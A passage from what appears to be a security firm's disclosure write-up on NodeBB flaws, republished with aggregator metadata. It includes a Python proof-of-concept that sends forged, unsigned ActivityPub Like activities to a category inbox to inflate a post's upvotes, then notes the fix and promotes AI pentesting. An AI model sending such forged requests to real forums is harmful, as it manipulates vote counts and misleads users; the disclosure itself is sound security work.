await posts.upvote(localId || id, object.actor);\n```\n\nAn attacker can repeatedly send requests like this to steadily increase the number of upvotes on a post, with thousands per minute to completely inflate a post's trustworthiness.\n\n```\nPOST_ID = 1  # Target post\npayload = {\n    'id': str(uuid.uuid4()),\n    'type': 'Announce',\n    'actor': 'https://nodebb.local/uid/999',\n    'object': {\n        'id': f'https://nodebb.local/object/{uuid.uuid4()}',\n        'type': 'Like',\n        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',\n        'object': f'https://nodebb.local/post/{POST_ID}'\n    }\n}\nheaders = {'Content-Type': 'application/activity+json',\n           'Signature': 'keyId=\"\"'}\n\nr = requests.post('https://nodebb.local/category/1/inbox',\n                  headers=headers, json=payload)\n```\n\nThis issue has been fixed ([8e98325](https://github.com/NodeBB/NodeBB/commit/c4b9d03b474368cda004f79d10ac82a66ec20bc3)) by always verifying the Signature header for POST requests.\n\n## Conclusion\n\nWith the rise of AI, the *speed* of pentests is ever increasing. You can suddenly hire a group of 400 small pentesters to look at your application for the price of a regular pentest. Developers can keep shipping code quickly while AI pentest agents keep up and test new features for security issues, even the smallest and most complex. At Aikido, we provide AutoFixes and easy retests to help remediate any identified vulnerabilities.\n\nNodeBB was very quick to respond to our report, which we appreciated greatly. They asked for clarification on some things, and we could provide feedback on the fixes to ensure there are no trivial bypasses.\n\nOne last takeaway. In this pentest, we saw a lot of vulnerabilities in the ActivityPub implementation, and we think this can be generalized and applied to more applications. Whenever there are multiple ways to do things, the most common or built-in way is often heavily secured, while the *alternative way* is riddled with bugs. Ensure all your external integrations and alternative routes are as secure as your main ones!\n\nOur AI pentesting tool discovered this on its own. If you want high quality, fast pentesting running against your application, check out [Aikido’s pentesting suite](https://www.aikido.dev/attack/aipentest).", "url": "https://wpnews.pro/news/finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours", "canonical_source": "https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb", "published_at": "2026-07-22 14:51:42.883374+00:00", "updated_at": "2026-07-22 14:51:44.561634+00:00", "lang": "en", "topics": ["ai-tools", "ai-safety", "ai-agents"], "entities": ["Aikido", "NodeBB"], "alternates": {"html": "https://wpnews.pro/news/finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours", "markdown": "https://wpnews.pro/news/finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours.md", "text": "https://wpnews.pro/news/finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours.txt", "jsonld": "https://wpnews.pro/news/finding-eight-high-severity-vulnerabilities-in-nodebb-in-six-hours.jsonld"}}